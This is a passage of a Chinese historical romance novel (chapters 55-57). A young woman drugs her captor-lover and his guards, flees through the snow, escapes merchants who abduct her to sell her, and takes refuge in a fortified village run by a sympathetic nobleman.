桃漾站在角落里安静听着,她正微微出着神,秋霜却也来了这里,手中捧着一只精巧的古檀木盒,上前给谢老夫人行礼后,与卢双萱有礼道:“我家公子命我来给小女郎送件礼物。” 卢双萱笑道:“我替含雪谢谢她二伯。”随后,她示意婢女接过秋霜手中的礼物,谢老夫人抬眸看了眼,开口道:“打开来,我瞧瞧他送的什么?” 婢女接过后,垂首打开,古檀木盒内除却一套笔墨纸砚外,还有一只巴掌大的长命金锁,谢老夫人见状不禁笑了下,问秋霜:“这是他自个挑的?” 秋霜神色微有迟疑,颔首道:“回老夫人的话,是公子挑的。” 谢老夫人深叹一声,没再问。 桃漾回到鹿鸣山,和陈月漪一道用过晚膳后,就去了她的书房。 自她开始跟着谢怀砚学琴、作画、写书法,谢怀砚就命人在别苑内给她单独整理出一间书房来,桃漾坐在书案前,垂眸认真作着一副冬日梅林落雪图。 她畏寒怕冷,书房内搁置了数十盆的银丝碳,窗外寒雪飞扬,屋内如同暖春。 待一副梅林落雪图作完,暖腾腾的热气烘的她一连打了好几个哈欠,刚抬手拿起杯盏用口茶醒醒神时,书房的门就被人自外推开。 桃漾抬眸看过去,谢怀砚正站在门边解下身上染了一层白的鹤氅,随后合上门抬步走进来,带了一些寒凉之气,也让他轮廓分明的面庞染上几分冷峻。 他在桃漾身前的书案看上一眼,随口问她:“作的什么画?” 桃漾朝他伸出手,谢怀砚走至她身后,眸光落在梅林落雪图上,他轻笑:“梅花未开,树枝细小,作的是鹿鸣山中的梅林么?” 桃漾对他莞尔,问他:“明年冬日鹿鸣山的梅花会开么?” 谢怀砚撩袍在她身侧坐下,将桃漾抱在怀中,肯定道:“会。待到明年,你便可以在鹿鸣山中赏梅。”桃漾听他神色温和的说着,有些微的出神。 她竟是想起了桓恒。 少年炙热坦诚的与她说:“我的别苑里种满了紫薇花,来年夏日,桃漾妹妹就可以和我一起闲坐庭院,观月赏花。” 可他 们之间没有来年夏日。 “想什么呢?”谢怀砚抚着她的眉眼问她。 桃漾从久远的思绪中回来,对他浅浅笑了下:“那我要在梅林做架木秋千,可以荡着秋千闻梅香,也可以取梅间雪煮茶,再摘梅花瓣做香。” 谢怀砚闻言对她颔首,握住她的手提笔,在桃漾已经做好的梅林图上将桃漾适才口中所言之物都落笔画上,很快,冬日梅林雪景图变得丰富起来。 待收了笔,谢怀砚问她:“去四房走了一趟,送的什么?”桃漾想了想:“我送了一枚平安结,让秋霜帮你选了一套笔墨纸砚,还有一只大金锁。” 谢怀砚轻笑:“刚出生的孩子,怎还送了笔墨纸砚?” 桃漾直言:“笔墨纸砚是送给她的母亲的,我听闻四嫂嫂从前在闺中时也是位才女,应会喜欢的。”不止这些,这笔墨纸砚是谁送的极为重要。 谢怀砚送去,那便是对小女郎看重,或许,谢四郎日后也会收敛些,对他的女儿多些疼爱。 谢怀砚垂眸看她,见她神色间欢喜,宽大手掌落在桃漾腹部,在她耳边低声道:“若你喜欢,我们也可以。”桃漾在他怀中侧过身,轻轻点头,道:“身上冷,去温泉池吧。” 这段时日的朝夕相处,让身体上的欢。好更为契合,如同鱼水,温泉池内情动旖旎,再回到卧榻上,桃漾取来自制的药膏先给自己身上涂了一遍,再往谢怀砚肩背上涂抹。 这些时日一直如此,她制作的花粉药膏不止可以清伤疤,还可滋润肌肤。 忙完后,已是夜深,桃漾紧紧贴着谢怀砚,在他身上取暖,躺在枕上呼吸匀称的睡下。 她睡的很沉,似是做了一个长长的梦,可她不记得梦里发生了什么,只觉身体有些微的不对。 她下意识要合拢双。腿,却被两只宽大手掌攥住,桃漾眼眸阖着,意识终于从睡梦中苏醒过来,随着一声轻。吟,她乌黑眼睫颤颤的睁开。 终于清醒过来是发生了什么。 “谢怀砚!” 桃漾的声音已是暗哑的,带着身体带来的情动。 作乱之人没有给她回应,只有更磨人的攻击。 两个人在一起这么久,谢怀砚倒也为她这么做过,不过都是为了让她动情,此时,他显然不只是为了撩拨她,而是要用这种方式看她溺在其中。 桃漾躺在枕上,双手在身侧紧紧攥住被。褥,由开始的不自在,到渐渐放开,任由他作乱去。 舌。尖柔软,攻势却猛。 谢怀砚太会磨她,舔。舐勾探,很快,桃漾就颤抖着身子蜷缩成一团。 她气息凌乱的喘息着,谢怀砚将她揽在怀中,看着她绯红的面靥,得了满足后的柔软,俯身去吻她,却被桃漾给推开,看了看他薄润的唇,谢怀砚勾笑,按住她推过来的手,在她口中浅尝一番。 他在桃漾耳垂轻吻:“今日不忙,在鹿鸣山陪你。” 桃漾在他怀中点了点头,再睡过去,一点都不理会身后之人身上的燥热。 屋外的雪还在纷纷扬扬的自天幕而下,这回的雪与前两次都不太相同,落的不稠密,雪花亦碎小,却始终是没有停歇的时候,谢怀砚今日未去刺史府。 桃漾裹得严严实实的和他在鹿鸣山中走了走,再回了书房对弈几局,时辰过的也快,待用晚膳时,空渊前来与谢怀砚回禀:“公子,家主请您过去。” 谢怀砚和桃漾一同用着晚膳,桃漾起身帮他盛了碗乌鸡羊肚菌汤:“外面还在下雪,用点热汤。”她把汤碗递过去,也给自己盛了碗。 待到一碗汤用完,谢怀砚就要起身离开时,桃漾抬眸看他,扯住他的衣袖,低声道:“昨夜我做梦了,”她神色清淡:“我想知道你的梦——” 谢怀砚对她轻笑,抬手将她耳边碎发抚至耳后:“待我忙完,回来再与你讲。”他说完起身,空渊给他递来鹤氅,桃漾抬眸看着他系好,再看着他的身影消失在茫茫雪幕中。 冬日里的天色暗下的极早,谢怀砚离开后不过一刻钟天幕就已全黑下来,桃漾一直在八仙桌前坐着,直到碧月阁外传来脚步声,她以为是谢怀砚回来了。 屋外说话的人却是空渊,他道:“公子今夜在墨园歇了,让姑娘早些睡下,不必等他。”桃漾对着屋外应了声,听到空渊的脚步声再次走远。 夜色越来越深,到了亥时,屋外只有白茫茫的一片,陈月漪来到桃漾屋内,低声道:“都已准备妥当,碧月阁外的部曲也已昏倒,走吧——” 第55章 杀耳边传来一道熟悉嗓音 桃漾在鹿鸣山住着的这段时日,常去却月峰的山巅上闲走,陈月漪陪着她去过几回。 却月峰山巅右侧有一小径,沿着小径走出数十步便有一汪清泉水,清泉水附近秋日里长着一片旺盛的曼陀罗花,因是自然生长在山中,一直无人在意。 陈月漪偶然间瞧见过。 她陪着桃漾来山巅几次后,发现那片曼陀罗结出的种子少了许多,起初只以为是被山中的鸟兽给衔走了,直到桃漾找到她,说要用香苑的百花瓣做可以祛伤痕的香粉药膏。 那日夜里,桃漾自香苑离开时,她低声唤住桃漾:“阿漾,你还是要走,是么?”陈月漪以为有了上次的事,桃漾已彻底想开了,愿意留在公子身边。 桃漾回身看向她,什么也没说。 第二日的时候,陈月漪再见到她,与她道:“带我一起走吧。”她从前总是不理解桃漾的,也只想能过上安稳的日子,可现在,她想和桃漾一起走。 桃漾也不知这次离开能走多远,会不会如上回一样,日后的路又该如何走,路上有个伴终是好的。 陈月漪在鹿鸣山中待的时日久,对山中的一切都很熟悉,与守在碧月阁外的部曲也算相熟,入冬这段日子以来,她时常提了茶水点心给守门部曲送去。 他们起初不敢用,可陈月漪依旧每日里去送,到后来,也就渐渐开始用这些茶水点心,今夜外面落着雪,陈月漪带去的茶水点心被他们吃喝了干净。 鹿鸣山被封了山,空旷寂静,自那夜桃漾在小善寺回来见了谢怀砚后,没过几日,谢怀砚就撤了跟在她身边的人,她这段时日日夜和谢怀砚在一处,就连水兰和水叶也都不再警惕。 寂寂黑夜,漫天飞雪。 鹿鸣山中白茫一片,折射出刺眼的白光,桃漾和陈月漪身上披的都是月白狐裘,与簌簌飞雪相融,走在雪地中如同两个白点,丝毫瞧不出人影。 她们走的是鹿鸣山后山的一条小道,陈月漪来这里探过无数回的路,鹿鸣山未有外人敢进入,只有有温泉泉眼的位置附近部曲把守森严。 她们绕开这些位置,沿着陈月漪事先做好标记的路线一路走至后山,后山每个位置负责看守的部曲也不同,陈月漪抬手给桃漾指了指,低声道:“那个位置因有条深水河,没有部曲看守。” “上回落雪我就试过,女子踩上去没问题。” 桃漾对她颔首,两个人下了山坡,踩在结了冰的河水上出了鹿鸣山的地界。 山脚下一里外的柳树林中,一辆被白雪覆盖的马车早就停在这里,桃漾住在鹿鸣山中,锦衣玉食,身边首饰很多,唯独没有金银。 是那日前去四房看望卢双萱,她随秋霜去库房挑选礼物时,在秋霜未留意的时候取了一锭白银,交给了陈月漪,让她寻到机会提前雇好马车。 坐上马车后,陈月漪扮作了妇人打扮,桃漾则换了身棉布男子衣衫,披了件男子大氅,坐在马车前赶马车,抬手扬鞭,赶马前行,虽然她和谢怀砚学了这么些时日的跑马,却是第一次赶马车。 刚赶出时,有些不稳,待过上有一刻钟,也就摸索出几分技巧,驾着马往淮阳城门处赶去。 落着雪的淮阳城依旧灯红酒绿,街道上行人匆匆,叫卖声不停,两刻钟后,马车行至淮阳城门前,守门将士看上桃漾一眼,直接摆手赶人:“城 门戌时已关,明日再来。” 淮阳城门自来卯时开戌时关,守门将士的话刚落,桃漾自大氅下取出一份文书递出给他,这将士在簌簌白雪中再看她一眼,神色狐疑的接过她递来的文书。 上面的落名—— 竟是谢氏家主谢蕴! 盖着的章赫然亦是谢氏家主玉章,守门将士再看上一眼,确认无误后,露出笑脸来:“适才冒昧,这就为您开城门。”他走上前,和另一守卫一同打开淮阳城门,放她们的马车离去。 这份出城文书是桃漾向谢夫人求来的。 那日晚间,家主谢蕴在桂月园用过晚膳后离去,桃漾一如往日和谢夫人在地道后的小院中,对弈完一局棋后,谢夫人忽然开口问她:“可打算好日后了?” 她知道,桃漾在清心庵看到了什么。 这是谢夫人第一次与桃漾正面说起她和谢怀砚的事,桃漾始料未及,心中却也明白是因何提起,她见谢夫人神色温和,默了默,起身在谢夫人面前跪下:“夫人,我不愿做笼中欢笑的鸟雀,我想离开——” 第二日晚间,谢蕴再来桂月园用晚膳时,谢夫人为他准备了柿子酒,待谢蕴坐下尝上一杯后,神色微凝,抬眸看向谢夫人:“这酒是夫人酿的?” 谢夫人轻笑:“是桃漾那孩子,之前你不是说她手法不熟练么,她在竹院又试了数回,才酿出这坛酒来。”谢蕴垂眸看了眼杯中酒,对谢夫人颔首。 待晚膳用完,谢夫人再道:“我挺喜欢这孩子的,事别做太绝,”她神色间带了几分清冷的严肃:“我常去清心庵,不愿在那见到她,让她走吧,走出淮阳是生是死,都是她自己的命数。” 这么些年,谢夫人没跟谢蕴讨过什么,这回是她第一次主动与他说这些,虽然谢蕴本就没打算送桃漾去清心庵,还是应下了谢夫人。 她和别的秽乱谢氏族规的女子不同,她玷污的是淮阳谢氏未来的家主。 只能死。 让她走出淮阳再死,也好。 桃漾和陈月漪出了淮阳城门,因着是落雪天,不好行山路,一路走宽敞的官道往南行,夜间天幕暗沉,马车车门前挂了两盏灯,凑着雪夜里的光,辘辘前行。 待行出淮阳二十里,已是子时,陈月漪再换了只暖手炉给桃漾塞在怀中,见她唇色泛白,低声道:“阿漾,到了驿站咱们歇会儿吧,夜里这样冷,这么赶路不行的。” 桃漾侧首对她轻笑:“没事,我不冷。” 陈月漪闻言欲言又止,也从马车内出来,坐在桃漾身侧,笑道:“阿漾,你教教我如何赶马,接下来的路远着呢,咱们换着来。” 她往桃漾身边靠了靠:“两个人挤着也暖和。” 桃漾对她莞尔,与陈月漪说着如何赶马,两个人在夜色中说着话,时辰倒是过的很快。 再赶了两个时辰的路,夜间官道上的积雪越来越厚,行至一处下坡拐弯处时,马车行的不稳,‘砰’的一声撞在了路边的古树上。 她们的马车材质普通,这么一撞,车厢的木板裂开几条木缝,这倒不影响赶路,只是,车轱辘也撞掉了一个。 桃漾跳下马车来,陈月漪挑着灯,两个人摸索一番未果后,桃漾回身往淮阳城的方向看了眼,上前扯下套马的缰绳,与陈月漪道:“上马,咱们骑马走。” 陈月漪:“啊?”她惊疑了声,上前踩着马镫上了马。 深夜寂寂,桃漾也上了马后,看着面前一望无际的官道,掐了掐掌心,扬鞭赶马而去。 再行了一个时辰的路,在一处小镇上寻了间客栈,天还未亮,掌柜的推开门时,见是一对年轻夫妻住宿,倒也热情,给她们开了一间上房。 上房内也只有两盆银丝碳,陈月漪握着桃漾如冰块的手,道:“我去跟掌柜的再要两盆碳来。”桃漾唤住她:“不用,这两盆够了。” “这一路还不知要赶多久,咱们身上的银子不多,还要再买辆马车来,省着用。”她回身看了看床褥:“呐,被褥挺厚的。”桃漾身上除了那锭已用了小半的银子外,还有一些碎金子。 她没有带太多的首饰出来,只把首饰上的金坠、金珠、以及镶的金片取了下来。 淮阳在豫州中部,往南至少行上五日才可出豫州进青州地界,再过青州行至建康城。 满打满算,剩余的银锭以及这些金子都加起来,至多有百两银子。 桃漾和陈月漪用热水泡过手脚后,再简单用了碗热汤面就上了榻,虽然熬了快一整夜,身上又疲累,桃漾却有些睡不下。 谢怀砚无论是在刺史府,还是与谢蕴谈事,亦或是与好友抚琴饮酒,亥时之前都会回来鹿鸣山,那碗乌鸡羊肚菌汤是引,只能让他在两个时辰后昏睡。 她以为他会回来碧月阁,还为他准备了份清茶。 清茶用下,足够他睡下一夜一日,他待在鹿鸣山中,她才能有更多的时间。 而现在,他住在墨园,翌日一早,就算他醒不来,空渊也会去唤他的。 桃漾这样想着,终是困了,阖上眼睡过去。 她们在客栈里歇了两个时辰,陈月漪醒来的时候,外面天光已大亮,她垂眸往里侧看了看,桃漾的身子紧紧的贴着她,在她身上取暖。 陈月漪给她掖了掖被褥,轻手轻脚的下了塌,下楼在街市上买了几个热腾腾的胡饼,再去车马行花了二两银子买了辆马车,随后回到房间来,桃漾也已下了榻,嗓音哑糯:“我把东西都收拾好了。” 陈月漪对她应声:“用盏茶水,咱们就走。” 马车再辘辘而行,行了整整一日后,到达竹陵郡的地界,这里已不再落雪,戌时的时候,她们在颍川郡的一个小县里寻了客栈歇下。 每人面前搁着一碗热乎乎的汤饼,汤汁浓郁,香气四散,桃漾与陈月漪道:“咱们雇个车夫吧,我想了想,每日里住店的银子就要五十文,不如用这些银子雇个车夫,也可以一直赶路。” 陈月漪对桃漾连连点头:“这样好。”两个人把汤饼用的干净,陈月漪笑道:“阿漾,你还记不记得从前在阳夏,咱们时常约着去吃街南头的那家汤饼,阿婆都记得咱们了。” 桃漾笑了笑:“我还偷偷问了阿婆如何熬的汤呢,回头咱们到了建康城暂住下来,我做给你吃。”在汤饼铺子前离去,去了车马行雇了一位年纪不大的男子为车夫,给了掌柜的三十文。 夜里睡下时,陈月漪低声与桃漾道:“你看,咱们都离开淮阳一夜一日了,未有任何部曲官兵来追赶,好好睡吧,明日天不亮就要赶路呢。” 翌日天还暗着,她们的马车就已行在路上,竹陵郡这里未落雪,桃漾就让车夫寻了近道走,没有再走官道,赶路赶了有大半日的时候,一直未有言语的车夫往马车内喊了一声:“郎君夫人,你们往那瞧。” 他的目光也看过去,很是喜悦:“那里是竹陵桓氏的府宅,府内还有高山流水呢。”他这么说了几句,陈月漪应了他一声,桃漾掀开车帘往他口中所言的位置看了眼。 她只随着桓馥来过这里一回,还是很年幼的时候,早就都不记得了。 陈月漪抬眸看了看她,怕她伤心与桓恒的事,与桃漾说起别的来:“咱们走了近道,又赶车赶的快,夜里就能到竹陵与颍川的交界。” 桃漾对她点了点头。 入夜后,桃漾给了车夫十文赏钱,让他自行离去,她白日里在马车内补了觉,身上披了狐裘坐在马车前,继续赶路。 待东山朝阳就要升起时,马车行至竹陵郡与颍川郡交界处的江阳县。 她们在江阳县的客栈住下,牵着马往后院的马厩给马儿喂些干草时,这个时辰马厩内竟还有一男子正在喂马,作商人打扮,见桃漾过去,抬眸在桃漾身上打量了一眼。 桃漾垂首,绕过他去了另一侧。 回到屋内,和陈月漪一起用些吃食后,桃漾让陈月漪先睡下,待到天光大亮时她才也歇下。 再醒过来,天幕已是很暗,桃漾被颠簸而醒,她 身上无力的坐起身,马车内的布置很简陋,堆积着大大小小的箱笼和包袱。 桃漾拨开包袱看了眼,里面是一些丝绸布料,上面的气息与她在马厩遇到的那个男人身上的气息一般无二,车门外隐隐传来几声男子的说话声:“咱们走这一趟,这些货挣不了几个银子,还好遇到了两个小美人。” “到了蜀州,不论送去哪个花楼,都是抢手货。” “我当然瞧的出来,哪有生的那般细皮嫩肉的男人。” 桃漾凝眉,抬手把陈月漪拍醒,再透过窗牖的缝隙看了眼窗外,时辰应是已不早,天幕之上又开始飘下簌簌飞雪,桃漾把藏在身上的迷药递给陈月漪,低声道:“天色应该很快暗下,他们有两个人,到时你来洒迷药。” 她再从身上取出一把匕首,神色凝住:“我来杀了他们。” 陈月漪闻言唇色泛白:“桃漾,这——”桃漾握住她的手,沉静道:“我杀过人。” 马车再行出数十里,天幕果然暗沉下去,很快就黑乎乎一片,陈月漪手中握好迷药,刚欲开口喊赶马车的两人,马车的后门‘咔’的一声被人打开。 桃漾立时回身,还未来得及反应,已有一只大手伸进马车内提住她的肩就把她自马车中提了出去,桃漾被他带到马背之上,抬起手中匕首就往他身上刺。 匕首入了皮肉的一刻,耳边传来一道熟悉嗓音:“是我。” 第56章 血让她也心疼他一些 桃漾气息微喘,意识到眼前人是谁时,急忙拔了手中匕首,痛的庾子轩皱了皱眉。 待那两名布商的马车碾在雪地中走远,庾子轩身侧骑马扯下陈月漪的侍卫问:“郎君,不杀了他们吗?”庾子轩边驾马往一处小道行,边道:“留着他们吧,有用处。” 待行至一片落满白雪的榕树林,桃漾让庾子轩停马,她很利索的踩着马镫跳下,抬眸看着庾子轩,与他道:“多谢,身上的伤可要紧么?”她虽是下的狠劲,可冬日里身上衣衫厚重,不知是否伤到了庾子轩。 庾子轩神色平和对她摇头:“无碍。” 桃漾站在马下,暗夜中,她眸光澄亮,含满了情绪。 其中,最为明显的是警惕。 庾子轩看着她,开口道:“桃漾,与谢怀砚无关。”虽然这里是颍川郡的地界,可他忽然出现在这里救下她,她心中有疑虑,认为他是在帮谢怀砚在此拦她也情有可原。 “是我今儿一早去江阳县办事,途径一处客栈前,见门前搁着两件氅衣,上面的气息与你送我的香粉一般无二,心下不禁好奇,去问了掌柜的。” “掌柜的说是在二楼的木梯上瞧见的,许是哪位客人落的,就搁在了门前。”庾子轩轻叹:“我跟掌柜的打探了一番,再命人去查,虽不敢确认当真是你,还是跟了来。” 庾子轩一番话说完,桃漾紧凝的神色舒展开些,默上片刻,神色认真与他道:“看在我曾赠你香粉的情分上,庾四郎君可能当从未见过我?” 庾子轩闻言翻身下马,神色沉重:“这么冷的天,荒山路上,你们两个女子能到哪儿去?”庾子轩送给桃漾的那枚鹰状木牌她一直带在身上,她取出递在庾子轩面前:“若是可以,送我一辆马车和一些衣服吃食。” 夜风阵阵,吹斜飞雪,落在人身上刺骨的寒,庾子轩解下身上大氅给桃漾披上,低声道:“桃漾,信我!跟我回坞堡去——” 桃漾只看着他,没有回应。 当初在淮阳,她与庾子轩亲近,送给他香粉方子,确实是有她的目的,是想着若有一日,可以利用到庾子轩,可她并未想过留在颍川庾氏。 四周沉寂,庾子轩见她执着,只好道:“坞堡就在十里外,如今已入了夜,你们也是要留宿客栈,先跟我回坞堡住上一夜,明日我送你们马车再离开。” 桃漾望了眼一望无际的雪夜,似乎能掩埋住一切,那两个布商已赶马车离去,她和陈月漪的踪迹也消失在他们那里,沉默许久,她对庾子轩点头:“好。” 趁着夜色,庾子轩和身边的贴身侍卫带着桃漾和陈月漪自小道赶回坞堡,落着雪的天气,只有值守的部曲还守在外面,庾子轩快马而过,带着桃漾来到一处僻静幽深的院中。 下了马后,庾子轩在烛火下再看了看桃漾,见她一张脸被冷风吹的绯红,抬手给她指了指:“这座院子一直空置着,你们今夜便在这里暂歇。” 他看向牵着马的侍卫雪松,吩咐:“去准备热汤热饭来。” 雪松应是后退下,庾子轩和桃漾她们进了屋中,将屋里的烛火都点上,与桃漾道:“先稍坐片刻,我去唤两个可靠的婢女来。” 桃漾唤住他:“不用,我们自己可以。”庾子轩懂她的意思,她来过这里的事,知道的人越少越好。 桃漾不止是因着怕更多的人知晓,也是她明白,自踏出鹿鸣山的那一刻,日后她就只能靠自己,没有锦衣玉食,没有仆人侍奉,甚至可能会食不果腹。 庾子轩对她点头,嘴唇翕动,却只道出一个好字来。 他说完抬步离开这里,不过片刻,他又再回返,手中搬了好大一筐的银丝碳,给桃漾她们搁在屋中后,再道:“等我一下,我去取炭盆来。” 他说完转身就再走,提了四五个铜盆来,摆在卧房内,将竹筐里的银丝碳用铁钳夹进去,再用火折子给点燃,桃漾和陈月漪也上前去帮忙。 待屋里的银丝碳都点燃,雪松也提了两只食盒过来,庾子轩神色温和道:“我不知你们的喜好,都是些淮阳口味的饭菜,若不合胃口,只管与我说。” 桃漾对他莞尔。 庾子轩和雪松出了房间,对雪松吩咐:“去,扛几捆干柴来。”雪松闻言看了看他家郎君,神色间含满疑惑,却不敢多问,这些年跟在郎君身边,除了钻研机关术,他还没见过郎君对别的事如此上心过。 雪松急忙去扛了干柴来。 放到后罩房处的灶房内,他搁下后就再走出,庾子轩皱了皱眉,道:“点上啊!” 雪松:“……是。” 雪松生起了火,庾子轩亲自去打水,桃漾和陈月漪用过饭菜后,隐隐闻到后罩房处传来的烟火气,起身来到这里,正看到庾子轩把锅里的热水给盛到木桶中。 桃漾与他眸光相对,上前道:“我来吧。”他接过庾子轩手中的木瓢,再道:“夜色不早了,你们也快去用些晚膳歇下吧,我们自己可以的。” 桃漾拿起木瓢舀水,庾子轩垂眸间看到她的手,一时将眉拧成麻绳,示意雪松退下,陈月漪也跟着退了出去,庾子轩再看向桃漾,问她:“是在谢怀砚身边过的不好么?” 这么冷的冬日,淮阳也已落了数日的雪,两个姑娘独自赶路—— 桃漾只垂眸舀水,没有回他的话,待一桶水舀满,她就要提着往前院去,庾子轩先提住木桶,低声道:“我来,你提不动。” 他提着木桶就走,桃漾在身后看着他的背影。 待屋内浴桶里的热水打满,庾子轩和雪松离开这里,只剩下桃漾和陈月漪,桃漾坐在炭盆前,与陈月漪道:“你先去沐浴,我取会儿暖。” 陈月漪进了净室,桃漾在炭盆前待了一会儿,起身站在窗牖前。 她把窗牖支开,任由夹杂着飞雪的冷风拂在面上,她自年少时起,就从未遵循过自己的本心活过,那时,她无意间听到了一个秘密。 她不是谢氏的孩子。 她的母亲只是一个出身奴籍的婢女。 自此之后,她开始生活在恐惧中,她怕有一日父亲母亲会不要她,她开始学着讨好,学着迁就,她所做的一切都是为了能不让别人厌弃她。 她喜欢着别人的喜欢,厌恶着别人的厌恶,从未为自己活过。 那夜问出谢怀砚会娶她么时,她根本就不想听到他的回答,他们的身份云泥之别,同出一宗,他心狠薄情,她不会嫁给他,他也根本不会娶她。 如今孑然一身,她已没有可再失去的,总要遵循本心的去活一回。 桃漾自窗牖前回过神来时,天幕上空‘砰’的一声,五彩缤纷的烟火四散炸开,隐隐传来孩童的欢笑声,她忽然惊觉,很快就要到年关了。 桃漾神色温和,合上窗后抬步走了出去。 坞堡里烛火通明,家家户户都亮着灯,从四面 八方被风吹来阵阵的饭菜香气。 桃漾从前听闻过坞堡里的生活,却从未亲眼见过,门阀士族会在家族所在之地建立坞堡,以此来收容无家可归以及需要他们庇护的普通百姓。 给她们房屋供他们居住,给她们田地让他们耕作,设有学堂,男耕女织,只须每年将收成所得上缴几成,便可安稳在此度日。 天上的烟火逐渐停下,雪花依旧纷纷扬扬的落,桃漾回了屋中。 沐浴后睡下,待到翌日一早,窗外满地雪白,桃漾和陈月漪推门而出时,院中的积雪已被人清扫,留下只染了一层薄雪的青石板地面。 远处依旧是炊烟袅袅,孩童欢笑。 洗漱过用了早膳,庾子轩再来到这里,他身后的雪松手中牵了一辆奢华马车,庾子轩走上前,状似无意的问雪松:“雪下的这么大,能赶路么?” 雪松:“……不,不能吧。” 庾子轩也抬眸看了看:“这雪估计还要再落上个几日,实在不宜出行,”他垂眸来看向桃漾,神色略有些不自然道:“桃漾,你觉得呢?” 桃漾昨夜就仔细看过她和陈月漪居住的这座院子,里面种植着的花草,以及一应布置,皆是与她从前在阳夏时的明蕊院一般,这里不是空置无人住下的。 是庾子轩自淮阳回来后命人刚修缮的。 院中静默片刻,桃漾低声问他:“我留下来会连累你,连累你们颍川庾氏,你不怕么?”庾子轩闻言神色松动,当即道:“虽说他们淮阳谢氏权势大,其他士族也不是可以任由他们欺负的。” 庾子轩看着桃漾,再道:“士族门阀间往来已久,盘根错节,同为豫州士族,他若敢做的太过,是在给谢氏自掘坟墓。” “昨夜我已命人跟着那两个布商,在出颍川郡三十里外的青州境内制造了你们离去的线索,快马赶去淮阳的部曲今儿一早也赶回,说淮阳那边未有任何的动静。” 桃漾闻言眉心微动,庾子轩怕他说的太多,让桃漾心中不虞,再道:“你若坚持要走,你们要去哪儿,让我护送你们过去,虽说外面如今已太平,可你们两个姑娘家,又是大冷天的,太过危险,待你们安顿好,我再离开。” 桃漾打算去的是建康城,陆氏她已再寻不得,只想离得豫州远一些,可如庾子轩所说,门阀士族盘根错节,谢氏势力遍布整个南朝,只要她走不出这片国土,走去哪里都一样。 —— 淮阳的雪昨夜便停了。 今日日光明媚,冰雪消融,已近了年关,本该热闹喜庆的偌大府邸却寂静如斯,行在路上的仆人也都神色低沉不敢言语,就连往日里热闹的小郎君们也都待在院中没能出门。 庆小郎君跟他母亲闹着:“阿娘,我要出去堆雪人——” “听话,就在院中玩儿。” 庆小郎君满眼的不解,拧着小眉头,想要反驳他母亲,最后却问了句:“二伯伯会死么?”他母亲急忙捂住他的嘴,斥责道:“这话不许在曾祖母面前说,在哪都不许说。” 那夜子时,风雪交加,鹿鸣山中白茫一片,谢怀砚站在碧月阁门前,看着门前不见身影的部曲,立时对空渊吩咐:“去看她是否有事。” 空渊松开他家公子,飞身往碧月阁内去。 谢怀砚身披墨色大氅,高大身影站在漫天飞雪中,鲜红血液顺着厚重衣物一滴一滴的往下落,染红衣袍,洇湿大氅,他的身后堆积白雪,点点的红,如开了一路的花,又似一颗颗细小的红豆。 他在谢氏祠堂受族规家法鞭笞之刑,本是要回墨园的,可他想着,他为她付出这么多,这般疼爱她,总该都让她瞧见,让她也能心疼他一些,对他好一些。 空渊心中挂牵他家公子,片刻方回,低声回禀:“公子,未有刺客,五姑娘她,她不在——” 空渊话落,耳边传来一道‘砰’的声响,那道墨色高大身影再支撑不住,倒在雪地中,溅起无数飞雪,片片鲜红—— 第57章 醒他要娶她 桃漾留在了庾氏的坞堡。 栖云坞。 此处离得颍川庾氏的本家府邸有二十里,是颍川庾氏家主次子庾二郎君命人修建,在此经营,今岁立夏,庾二郎君被人引荐入了建康城为官,当时正值谢氏老夫人过寿,庾子轩回到颍川,与陛下辞了官,庾二郎君就把这里交给他来打理。 已是冬月二十三日,马上就要年关,庾子轩本是要在‘祭灶节’这日回颍川本家的,这两日他一直在忙着为桃漾修缮院落,把这事给忘了个干净。 还是他母亲颍川庾氏的三夫人命人来栖云坞催他,他才记起这茬事,与来人道:“与我母亲说,今岁年关我便不回家中与他们守岁了,要在栖云坞过年。” 他说完,怕母亲再亲自来提他,回到书房写了封书信命人带回去。 祭灶节这日,家家户户都在清理灶台,以及准备过年用的食物和物品,冬日里,没有农忙,坞堡里的人们多是在一处闲话,虽说他们居住的地方和庾子轩的别苑离得有些距离,桃漾还是能隐隐听到欢声笑语。 颍川的雪也已停下,只是处处还都堆积着白雪,庾子轩在院中桌前做他的机关,桃漾和陈月漪一起在后罩房的灶台前清理,桃漾能做很多口味的糕点,饭菜倒是会做的不多。 陈月漪在鹿鸣山中时与灶园里的厨娘学过些做菜的手艺,自昨日起她们吃的饭菜都是自己亲手做的。 桃漾决定留在栖云坞那日,就已与庾子轩商议好,她们两个留在这里,和别的前来投奔栖云坞的人一样,靠自己的劳作生活,每年给栖云坞上交她们的收成所得。 栖云坞里就有集市,这里居住着的人比桃漾想象中要多,共有两千多户,临近年关,庾子轩又收了许多百姓进坞堡,桃漾和陈月漪扮作夫妻在其中,丝毫不被人注意。 她们包袱里的金银都被那两个布商给拿走,如今身无分文,桃漾与陈月漪夜里歇下时也已商讨好,她可以做些香囊荷包拿去集市上售卖,换一些米面来。 陈月漪闻言轻笑:“我在鹿鸣山中没少做糕点,什么花样都有,到时我做糕点去卖。”两个人商议好后,面临着一个大难题——没有作为成本的银子。 桃漾与庾子轩借了十两银子,给他写了借条。 再拖雪松去购买来一些普通棉布、香料以及做女红用的一应工具,还有做糕点用的面粉、果子以及年关前的一些吃食。 十两银子用去了一半。 此时,桃漾和陈月漪在灶房内煮了当初桃漾在阳夏时和阿婆学的汤饼,以羊肉做汤底,在锅中炖上一个时辰,再和面团,用手扯成宽叶状,放在锅中去煮。 待汤饼煮熟,捞入碗中,舀上一勺浓汤,再撒一层肉块,未有膻味,清香扑鼻。 庾子轩还在前院忙着设计这个院子的机关,桃漾走到月洞门前唤他:“我煮了汤饼,你要用上一碗么?”庾子轩做机关时极为认真,被桃漾唤了声才闻到诱人的肉汤香。 他从前倒是在街市上见人吃过,不过,他嫌小摊小铺的腌臜,从未用过,听到桃漾这样问,他本能的连连点头:“用,闻着这么香,给我多来些。” 桃漾对他莞尔:“好。” 当日夜里,庾子轩画好了这座院子的机关图,院中共设有四处机关,分别通往不同的去处,其中设计最为复杂的,是桃漾卧房内的地下机关。 第二日一早,庾子轩就吩咐雪松按着他画出的图纸开干。 如庾子轩所猜想,就算他写了书信给他母亲,他母亲还是再派了人来逮他回去,庾子轩再把人给打发走,冬月二十六这日晚间,庾子轩的父亲庾睿来了栖云坞。 庾子轩居住的院落与桃漾的院子只隔了一道游廊的距离,因着是夜间,桃漾和陈月漪在屋中做些香粉后出来走走,正瞧见庾子轩和他父亲在游廊下说话。 游廊下烛火通明,隔了很远的距离,桃漾抬眸看过去,庾子轩对面的男人身上着墨蓝宽袍,身披墨色鹤氅,只隐约能瞧见几许他的眉眼。 她看了一眼后,收回眸光,和陈月漪往别处闲走。 